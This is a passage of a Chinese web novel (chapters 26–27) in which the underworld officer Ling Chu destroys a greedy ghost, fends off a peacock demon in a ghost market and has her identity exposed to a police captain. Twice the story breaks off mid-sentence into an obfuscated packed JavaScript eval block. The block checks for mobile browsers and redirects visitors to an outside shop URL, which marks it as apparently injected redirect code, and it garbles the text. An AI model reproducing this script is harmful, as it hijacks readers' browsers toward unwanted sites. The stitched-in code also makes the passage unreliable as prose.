他蒙骗着凌初帮他干苦力,结果没两天,事情就败露了。得知真相的凌初直接将他揍了一通,顺便搜刮了他全部的钱财,大摇大摆地往上一层地狱走了。 那时,他还不明白为什么有鬼能闯过层层地狱而阴司竟然不管? 后来,听进来十八层地狱的新鬼说,阴司提拔了一个鬼修,十殿阎罗抢着要,最后被阴律司判官崔珏把鬼抢走了。 听新鬼的描述是黑衣,长发,身形修长,女鬼,钱鑫不知怎地就想起凌初来。 再后来,钱鑫从看守十八层地狱的阴差们口中听到了事情的真相:原来那次他见到凌初,是因为阴司设置的十八层地狱间的结界打开了。 结界打开,也就意味着众鬼可以前往其他地狱,但不是轻易便可前往的。结界只能容一只鬼通过,也就是说,每一层地狱,最终只有一只鬼能闯。凌初,就是那只鬼。 阴司哪里是不管,分明是管不了!一只从无间地狱层层闯出十八层地狱的恶鬼,实力究竟到了何种恐怖的程度。 万鬼之王,从来不是说说而已。 无间地狱,钱鑫光听名字都瑟瑟发抖。也就是他命好,没遇上凌初大开杀戒。 如今又是一百八十年,他趁乱逃离了十八层地狱,结果又在阳世遇到了凌初,真是孽缘。 不过,这次从无间地狱出来的鬼,可是名副其实一只恶鬼,连阴司都束手无策,生生叫他带着一大帮恶鬼逃了。 他跟凌初,可谓是王不见王,不知道二鬼相遇时,又是怎样的情景,钱鑫很期待,但他注定看不到了。 一柄银白长剑,贯穿了钱鑫的胸膛。 星星点点的蓝光,从他的胸膛,飘散在空中。 凌初抽出银白长剑,松开,银白长剑便恢复成缚魂锁的样子,自动收进寻鬼镯中。 “跟我对战,还敢分心!”凌初神色漠然。 蓝光越飘越多,钱鑫的魂体也越来越淡。他手中黑剑掉落在地上,瞬间化为了一片黑气,渗入地下。 他唇角勾起,最后笑道:“凌初大人,不知你与昼生,谁更胜一筹呢?” 凌初没有说话,双手却握紧了。 钱鑫的笑容更大了,随后感叹:“这下,可真是魂飞魄散了啊——” 恶鬼名单上,贪财鬼——钱鑫的名字消失不见。 凌初的眉头紧皱,并未放松,她喃喃吐出两个字——“昼生!” 环顾四周,一片狼藉。凌初不知打哪儿摸出几十个金元宝,直接丢在柜台上,“掌柜的,这是赔偿。” “大、大、大人,这我可不能要。”掌柜鬼结结巴巴道,他哪里敢收阴差的钱啊,刚才那只鬼就在眼前魂飞魄散了啊!!! 凌初没搭理他,径直走向梦书生和杜四维。 杜四维还昏迷不醒着,梦书生此刻恨不得自己也昏着,总好过亲眼看到“杀鬼现场”吧。 魂飞魄散的虽不是他,但他觉得自己的三魂七魄已经找不回来了,太凶残了啊! “凌初大人,有什么我能为您效劳的?”梦书生狗腿道。 “幽冥无道,诸鬼缚魂,收!”凌初不语,拿出锁魂袋将杜四维收进去,幸好,这东西还能用。 梦书生:“???”不会也要收了我吧? 他站直身子,挺胸抬头,闭上眼,一副英勇就义的模样。 “还不走?”凌初喊他。 梦书生睁开眼,见凌初已经走出了茶馆大门,急忙道:“来啦来啦,大人,您等等我啊!” 26. 凌初掉马 凌初和梦书生出门往回走。 梦书生每走一步就看一眼凌初,一股小偷的即视感。 “书生,你有什么想说的?”凌初走在前面,身后的注视让她很难忽略。 梦书生闻言停下来,反思自己是不是太得意忘形了?!竟敢一直盯着阴差看!他刚想说话,却见凌初的步伐根本没停下来,又匆匆追上去。 “大人身上的伤不要紧吗?”梦书生关切道。 凌初骤然回头,把梦书生吓了一跳,“大、大人,我不是故意的,手下留情啊。”他脸色惨淡,立时就要下跪求饶。 梦书生膝盖还没碰着地,凌初手轻轻一抬,他就不由自主地站起来了。 “怕什么?我又不是杀人狂魔!”凌初忍不住笑骂道。 ???梦书生揉揉眼睛,以为自己看花了眼,凌初竟然笑了?然后反应过来,她杀的又不是人,是鬼啊!!!但他也不敢纠正,只朝凌初投去又感激、又畏惧的一瞥。 又同走了一段路,大约是因为周遭太安静的缘故,梦书生很不习惯这样的鬼市,于是八卦之火死灰复燃,他可太想知道杜四维的故事了。 “大人,杜四维到底是为什么进十八层地狱受罚啊?违背礼、义、廉、耻四个字又是怎么回事儿?” “阮梦君说这鬼市就没有你不知道的事,原来是因为好奇心很重。” 梦书生:“……”嫌我八卦就直说呗!!! 梦书生悻悻跟在凌初身后,撇了撇嘴,本想偷偷摸摸翻个白眼,结果白眼刚翻到一半,就听凌初慢条斯理地开口了。 “!!!”吓死他了!这阴差怎么跟背后长了眼睛似的! “杜家四维,出生即丧母,六岁丧父,七岁被族叔收养。刻苦勤勉,用功上学,二十二岁连中三元,皇帝钦点探花郎,初入仕途,从翰林院编修,后官至吏部尚书兼太子少傅。” “???”梦书生心情复杂,这生平跌宕起伏但梦寐以求啊!杜四维身世虽惨了那么一点,但官运之亨通叫人眼红得紧,他恨不得以身相代。 凌初略微转头朝身后瞥了一眼,见梦书生用力跺脚,嫉妒得两眼发红,于是唇角勾起一点弧度,这才继续道:“父母双亡被冠以克亲之名、族叔收养却加以苛待,因此杜四维十三岁便离家出走,外出求学,再未回家,此为失礼。 求学艰难、几度流离,困境中结交知己好友,为寻名师,背着好友提前打听师长喜好,率先入学,此为不义。 连中三元、力夺探花,然帝京居,大不易,为了生活收取贿.赂,此为寡廉。 生平随性、为人放浪,不以为耻,此为无耻。” 她将名录上记载的杜四维生平尽数讲出来,特意观察梦书生的神色,见他一脸怅惘,才问:“怎么样?还羡慕吗?” 梦书生先是沉默,接着抬头,鼓足勇气辩驳:“杜四维做的这些事情,不都事出有因吗?为何要因此进入十八层地狱受罚?!” 见凌初未说话,又继续追问:“况且,他能做到吏部尚书,足以证明其有大才,政绩想必非同一般,这样的人,死后竟然不能早早往生吗?阴司未免也太过冷血无情了吧!” “……”凌初没多说,只淡淡回了句:“天地不仁以万物为刍狗,功是功,过是过。” 梦书生:“……”哼!一群高高在上、不知疾苦的幽冥鬼神!他自顾自生着闷气,连带着对凌初的畏惧都少了三分,因此也没注意到凌初衣袍上的痕迹就在他们谈话间恢复如新。 两鬼正走着,一道墨绿色的流光迅疾地朝他们袭来,凌初旋身躲过,喝道:“书生!”梦书生却还没反应过来,一动不动地呆呆站着。 千钧一发之际,一道锁链及时缠住梦书生身子,用力一拉,将他拽离原地。 墨绿流光“嗖”一下钉在梦书生身后的茶棚上,二鬼定睛一看,原来是支墨绿色的羽毛,几道裂纹顺着羽毛钉住的位置浮现。 羽毛绚丽,折射五彩光芒,是孔雀尾羽! “阴司走狗竟敢登我的门,真是胆大包天!”来者毫不客气骂道。 凌初看向孔雀尾羽射来的方向,果然是孔鸣。 孔鸣并非独自前来,身后跟着阮梦君和陈遇,陈遇背上是依旧昏迷的李淼,人和鬼看上去都没有大碍,只是脸色都有些难看。 得,这下子人和鬼都齐了。 这可不好办了呀,凌初心想,没想到自己竟然这么快就在陈遇面前掉了马甲,不知道他会怎么看我? 陈遇盯着凌初,她视线躲闪,并没有正面看自己一眼。 所以,在场的各位都不是活人?只有自己和李淼是? 骤然得知真相的陈遇脸上一时也不知道该摆出什么表情来,他没被吓晕已经是意志力足够强悍了。 凌初正想着一会儿离开鬼市后该怎么解释(忽悠),陈遇想的却是阴差来他们红旗分局做什么?为了拘魂吗?是有人要死了?谁? 孔鸣怒气冲冲放完话,结果凌初却没接茬,场面一时有点儿滑稽,像是孔鸣一只鬼的独角戏。 孔鸣愤怒,浑身的羽毛都炸了起来,阮梦君眼瞅着气氛不对,当即大喊道:“阴差大人,都火烧眉毛了,你就别再跟你相好的眉来眼去了!” 陈遇:“……”相好的,是在说我吗? 凌初:“……”阮小姐,您能别火上浇油吗? 梦书生:“……”哇塞,还有阴差的瓜吃!我要记下来! 孔鸣:“……”好、好、好,没人当我存在是吧? 他伸出双臂,两只胳膊变幻成一双翅膀,紧接着翅膀抖动,若干道墨绿色的羽毛犹如利箭一般再度袭来! !!!还来啊!梦书生这次很机灵,立刻闪避到一旁,找了个角落呆着。 阮梦君也做足了准备,羽毛射出的一刹那,她一把拖过陈遇和李淼,一同趴在地上。 现场只剩下凌初还站着。 “凌初!”陈遇焦急喊道。 “呵!”凌初冷笑,不过一只孔雀妖修,在我面前实在是太放肆了! 她脚步抬起,迎着漫天墨绿流光,一步一步上前。 在场的人和鬼纷纷张大了嘴巴,目不转睛盯着凌初“主动找死”的行为。 预想之中的惨案并未发生,梦书生“哎”了一声,震惊地看着凌初。 暗地里偷偷观察的小鬼们也顾不上隐匿身形,一个个犹如雨后春笋一般,纷纷冒出头。 只见孔鸣的羽毛箭虽势不可挡地朝凌初射过去,但她针锋相对,明明面前什么也没有,缚魂锁也没使出来,羽毛箭偏偏就在距离凌初三寸的地方停下,再不能上前。 “???”孔鸣的表情很意外, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156023|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他大喝一声:“去!” 羽毛箭分毫未动,随着凌初逐步上前,露出一点点被压弯的苗头。 凌初又前进一步,停在她面前的羽毛箭,“啪”一声折断,随即是一阵“啪、啪、啪”的声音,所有挡在凌初面前的羽毛,应声而断,残羽朝四周射过去! !!!梦书生看向朝自己飞来的残羽,忍不住骂道:“靠!你怎么连自己人也打啊!”他身子一个倒仰,残羽堪堪从鼻尖擦过,射中身后的木屋。 其余看热闹的小鬼们抱头鼠窜,争着抢着找掩体躲藏。 在场无人(鬼)幸免于难,孔鸣被自己的残羽逼退了数十步,阮梦君连滚带爬往一家卖首饰的小摊儿奔去,还不忘拉上陈遇和李淼。最后,一人一鬼对视,而后同时看向钉在一尺之外地上的大片残羽。 “……你的人,挺厉害啊!”阮梦君思来想去,只冲着陈遇憋出来这么一句话。 陈遇:“……”这句话从她嘴里说出来怎么感觉变味儿了呢?! “凌幺幺!你欺人太甚——”孔鸣全身的羽毛都竖了起来,整只鬼看上去像个圆滚滚的毛球,再配上一副恶狠狠的表情,凌初不觉得他可怕,反倒是有些憨态可掬。 “噗呲——”凌初偷笑出声,眉眼弯弯,脸上露出愉悦的表情。一阵阴风吹过,她衣角飘起,墨发飞扬,再配上一双带有笑意的眼睛,浑身的凌厉气质中夹杂了一抹明媚。 孔鸣一时间看呆了,其余小鬼们也看呆了。 阮梦君、梦书生、陈遇:“……”心头同时萌发了一个疑问:美人计对鸟也管用吗? 孔鸣收了势,恢复成原样,“凌幺幺,你、你、你在阴司是干什么的?” “?”凌初不理解方才怒火滔天的孔鸣怎么突然就冷静下来,甚至还有点儿结巴,听到他的问话,凌初应声答道:“东岳阴司,阴律司判官崔珏座下——凌初。” “凌初?这是你的大名吗?”孔鸣忽然羞涩道。 不是大哥,现在是说这个的时候吗?其余小鬼们简直是丈二和尚摸不着头脑,到底还打不打啊? 梦书生立刻窜到凌初身边,低声道:“阴差大人,趁孔鸣没反应过来,咱还是先溜为妙?” 凌初点头,给阮梦君做了个手势,阮梦君略一点头。 于是两方人马同时移动,陈遇背着李淼,跟着阮梦君,凌初和梦书生也朝他们走过去。 孔鸣没听到凌幺幺的回复,又问了一遍,“凌幺幺,是你的小名吗?” 看戏的小鬼们都无语了,兄弟,没看到人家都准备溜了吗??? 眼见小鬼们躁动不安,凌初一个凌厉的眼神扫视过去,冒头的小鬼们看到那冻煞人的目光,一个个身子又矮了下去。 “不敢惹不敢惹,这可是阴司的鬼差!” “听说刚刚就有一鬼在她手上灰飞烟灭了?!” “啊,这么残暴?” “……” 小鬼们窃窃私语,凌初一行偷偷摸摸。 人和鬼已经聚到一处,阮梦君立刻施诀做法,周遭升起淡淡的光晕,这是要离开鬼市的讯号。 孔鸣追过来,口中道:“凌幺幺,你还没回答我问题!” 凌初未说话,平静冷漠地注视着他。 梦书生乐了,大笑着开口:“傻鸟,当然是骗你的啦!” 27. 狗皮膏药 一行人刚到达鬼市出口,凌初劈头盖脸就是一句:“书生,你不打算回鬼市了吗?” 梦书生:“……”一时得意忘了形,啊啊啊啊…… 回想起临走时,自己说完那句话后孔鸣那副犹如吃了苍蝇的表情,梦书生整个鬼都不太好了,这下子是彻底把孔鸣给得罪了! 鬼市是不能再回了,那该去往何处呢? 阮梦君也是一副一言难尽的表情,她对梦书生的滤镜已经完全碎掉了。真想不通自己,之前是被下了降头吗,还是被他这副皮囊迷了眼,竟然认为他是一位温润端方、才色俱佳的君子? 现在看来,分明是一只又八卦、又贪财、脸皮还厚的话痨鬼! “凌初姐?凌初姐?”识海中突然蹦出来李善言的声音。 离开鬼市结界,阴阳两界的沟通又恢复了。 “说。” “啊!凌初姐你终于回我了!你找到陈队和李淼了吗?局里的人已经催好几遍了!我都不敢回去了呜呜呜……”李善言喜极而泣。 啧,小李子这身上,怎么一点儿道家高人的风范也没有?! “别嚎了,我找到陈遇和李淼了,我们现在就回去。”凌初说完便断了神识联系。 “阮小姐,我们走吧。”凌初对阮梦君说。 “好。”阮梦君前头带路,凌初和陈遇跟上。 福泰陵园。 一阵空间波动后,李善言终于看见了“救命稻草”——凌初!他立马起身扑了过去,“凌初姐!凌——陈队好!” 结果他人还没到凌初跟前,就看到了她身后的陈遇,一个急停,脚步刹住,顿时立正站好,跟陈遇敬礼问好。 然后看到陈遇背上昏迷的李淼,问:“这小孩儿怎么了?” “呃……”陈遇迟疑。 未料到身后有人骤然出声:“被鸟人吓着了呗!” !!! 凌初:他怎么在这?! 陈遇:梦书生怎么跟来了? 阮梦君:啧,阴魂不散的家伙! 李善言这才看到陈遇身后跟了一只鬼,这鬼作书生打扮,是个古代鬼?大白天见鬼,他倒也不害怕,一来是因为书生没其他鬼死状惨烈,至少脸是正常的;二来嘛,阴差都在这儿了,他不信这鬼还能作乱! 于是他自然而然地问:“什么鸟人?” 梦书生:“……”往事不堪回首,不愿再提。还有,他这活人是怎么回事,见到鬼魂一点儿反应都没嘛?这不科学! 凌初这才解释道:“哦,是一只孔雀妖修。” “孔雀妖修?西游记里的那种?不是,阴间还有妖修这种东、生物吗?”他生硬地转折。 梦书生有意吓唬,插嘴道:“不止呢,我们鬼市各种飞禽走兽的妖修都有呢!” “哦。”李善言语气很平静。 “阴司有豹尾、鸟嘴、鱼鳃、黄蜂四大拘魂使,分别拘走兽、飞禽、游鱼、爬虫的魂魄。动物魂魄进入阴司后,恶魂入地狱,善魂可进入轮回,也可自行修炼,是为妖修。”涉及阴司,凌初特意科普了一番。 幽冥鬼魂们自然了解阴司诸事,用不着凌初解释,所以,这是她特意解释给活人听的。 “活人”陈遇和李善言表示:受教了!话音刚落,李淼悠悠转醒,刚醒来就大喊大叫:“啊啊啊啊,鬼啊——” 凌初见状,立刻来到跟前,两指并拢,从自己眉心牵引出一道微弱的蓝光,然后点在了李淼的眉心处,蓝光刚一没进去,李淼便再次昏了。 “你做了什么?”陈遇厉声质问她。 凌初耸了耸肩、掸掸衣服,状若随意道:“淡定,陈队。只是让他忘记鬼市之行的一点小手段。”她凑近陈遇,男女两张不同的脸同框,看着是赏心悦目,但却释放出来成倍的寒意,“还是说,陈队也需要?” 气氛一下子降至冰点,其他人和鬼屏息凝神,大气儿都不敢出。 陈遇和凌初互相看着,二人之间虽未发一语,但火药味儿十足。 眼看就要打起来了,一阵急促的手机铃声打破沉默。 “你是我的小呀小苹果,怎么爱你都不嫌多……”[16]欢快的歌词响彻耳际,将陵园古朴悲凉的气氛都驱散了几分。 李善言讪笑着拿起电话,一看来电,心都提起来了,“喂,魏局?”他讨好道。 “李善言,陈遇呢?这都几点了,你们还不回来?赵凭跃把人都抓回来了,陈遇作为大队长,人呢?”魏丽压制着怒火,陈遇今天是怎么回事?撂挑子不干了给我玩消失? 早在魏丽第一声“问候”陈遇的时候,李善言就挪到了陈遇面前,把电话听筒对着自家大队长的耳朵,心中窃喜:太好了,不是来训我的。 “……魏局,我在。”陈遇哑声开口。 “……”魏丽沉默了一瞬,紧接着就说:“哦,那还不快滚回来,赵凭跃等着你审人呢!” “是!” 魏丽瞬间就把电话挂了。 …… “李善言,你来背着李淼。”陈遇将人交给对方,然后大步向前,走向陵园出口,走了几步,见没人跟上来,回头喊了一句:“还不走?等着给鬼拜年?” 这话很明显是对李善言说的,除他之外,现场剩下的,明显都不是人。 “呸!白眼狼!”梦书生抢先骂道。 阮梦君又啐道:“负心汉!” 二鬼对视一眼,然后又嫌恶地别过头去。 爱赌鬼! 死装货! 凌初:“……”啊,她的头好疼。 “凌、凌初姐,陈队他,知道你的真实身份了?”李善言背起李淼,作势欲走。 “对,我这马甲才披了几天就掉了。”凌初心平气和,也没什么懊恼和后悔,事情做也做了,说也说了,那么多鬼都知道了,也不差他这一个人了。 只是,捉拿恶鬼这条路,恐怕还要另想办法。还有那什么阴阳界则,到底是个什么东西! 李善言停下问:“那该怎么办?你还能留在红旗分局吗?他们会不会把你抓起来啊?我作为知情人,算不算共犯……”他自己嘀嘀咕咕说了一大堆。 人跟鬼都不耐烦了,“你到底走不走啊?” “就是!” “滴滴——”远处传来鸣笛声,是陈遇在催了。 “凌初姐,有什么事随时联系。”李善言点点太阳穴,背着李淼跑了。 凌初这才转身看着不请自来的两只鬼。 “二位紧跟着我不放,是想进我锁魂袋?”凌初开口就是一张王炸。 阮梦君和梦书生同时退后一大步,眼中俱是不可置信,这阴差竟然这么翻脸无情吗?! 看到二鬼的动作后,凌初忍俊不禁,眉头挑起,“既然不想入阴司,跟着我作甚?” “我的手机,你答应过我的。”阮梦君道。 梦书生哭丧着脸:“大人你好生无情,我为了你得罪了整个鬼市,如今无处可去,你忍心见我流离失所吗?啊?” 凌初:真是好大一口黑锅啊! 阮梦君也目瞪口呆,见过不要脸的,但没见过这么不要脸的! 凌初不知该摆出什么表情,只好瘫着脸,面无表情道:“阮小姐,手机我马上烧给你。”然后话锋一转,“至于你嘛?书生,我可是阴差,随时会去阴司,你确定要跟着我?” 梦书生犹豫了,摆在自己面前只有两条路:要不然以后东躲西藏,要不然背靠阴司大树,狐假虎威,就是随时有可能丧失自由! 前狼后虎,很难选啊。 凌初转头就走,阮梦君跟上去。 梦书生还在纠结,结果一转头,凌初和阮梦君都没影了,“哎,你俩等等我啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171195|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 到了陵园门口,凌初还真买到了纸折的智能手机,她付了钱,拿着手机施了个决,纸折手机无火自燃,她又一吹,一只智能手机就出现到阮梦君手上,“阮小姐。这下我们两清了。” 阮梦君也不废话,点头:“告辞。”而后身形飘散,化作一股轻烟消失不见。 梦书生追上来时,只剩下了凌初一人。 “她人呢?” “走了啊,阮小姐为人很利落。”凌初特意补充了依据,说完看向梦书生,含义溢于言表。 梦书生:“……”鬼不要脸,天下无敌。你个编制人员,哪里懂我们自由职业者的辛酸!“哦,确实。凌大人,你家住哪儿,带我去看看呗?” “……”凌初万万没想到自己竟然有一天会被鬼黏上!趁现在溜走能不能行?! 梦书生眼睛尖得很,一眼便看出凌初想溜,于是在她行动之前补上一句:“大人,若你不肯收留,我只好去崔判官面前说上一说了。” 说什么?当然是凌初鬼市所作所为了!这哪是说,分明是告状!!! “好!很好!”凌初咬牙切齿,她倒不怕阴司知晓自己所为,而是陈遇和李淼误入鬼市,按阴律应当洗刷记忆,喝上一碗孟婆汤。但洗刷记忆跟她对李淼使用的术法不同,稍有不慎,落个痴呆都是轻的! 凌初顺手摘来一片树叶,悬空写了个“匿”字落在树叶上,然后又贴到了袖口,就变成了一枚不太起眼的暗纹。她扬眉道:“喏,书生,这就是你住处了。” 梦书生嫌弃:“这也太寒酸了叭。” “爱住不住!”凌初转身就走,一点也不惯着这厚脸皮。 梦书生追上去,魂体径直附到树叶暗纹上,算了,有总比没有好,将就一下吧。 凌初看向空荡荡的陵园,陈遇果然只带着李善言和李淼离开了,“啧,没良心的人!”不过,他们开车也不一定有我快! 她一路移形换影,速度极快。 …… 车上,李善言抓着副驾安全带,屁股如同针扎,左扭一下,右扭一下。 “想说什么?”陈遇冷静极了。 “啊?”李善言疑惑,随即明白过来,惴惴不安开口:“陈队,你都知道了?” 陈遇猛踩刹车,车胎与地面摩擦,“刺啦——”一声,李善言额头险些碰到后视镜。 “你早就知道凌初的身份。”不是问句,是陈述。 “呃……”李善言犹豫,继而回答:“也不算很早,你知道的,陈队,我家里人是道士,这种事儿对我来说很平常。” 陈遇沉默,继续发动车子,李善言起初没感觉到有什么异常,但随着车子速度越来越快,他不淡定了,默默抓紧把手。 如果不是没带证件,他还想把身份证叼嘴里。 十几分钟后,终于看到了红旗分局的大门。 李善言一口气刚刚要放松,结果看到分局门口一个身影,看清是谁后这口气差点儿没提上来。 妈呀,凌初姐怎么先到了??? 陈遇重重踩了刹车,黑着脸看向凌初。 凌初浑然不觉,双手插兜,眉眼上挑,撂下两个字:“真慢!”然后潇洒转身,走进分局大门。 李善言扭头,陈遇的脸已经黑如锅底了!他默默抱紧了双臂,生怕二人的战火蔓延到自己身上。 “下车!” 李善言没反应过来,“啊?” “到地方了,还不下车!”陈遇加重语气。 “哦,好好好,马上马上。”李善言急忙解开安全带,开门、下车一气呵成,甚至还记得把李淼从车里捞出来。 陈遇把车开向停车位。 “唉——”李善言长叹一口气。 凌初刚踩上办公室地板,迎面而来一张布满幽怨的脸,气若游丝道:“凌初姐,我的麻辣烫呢?”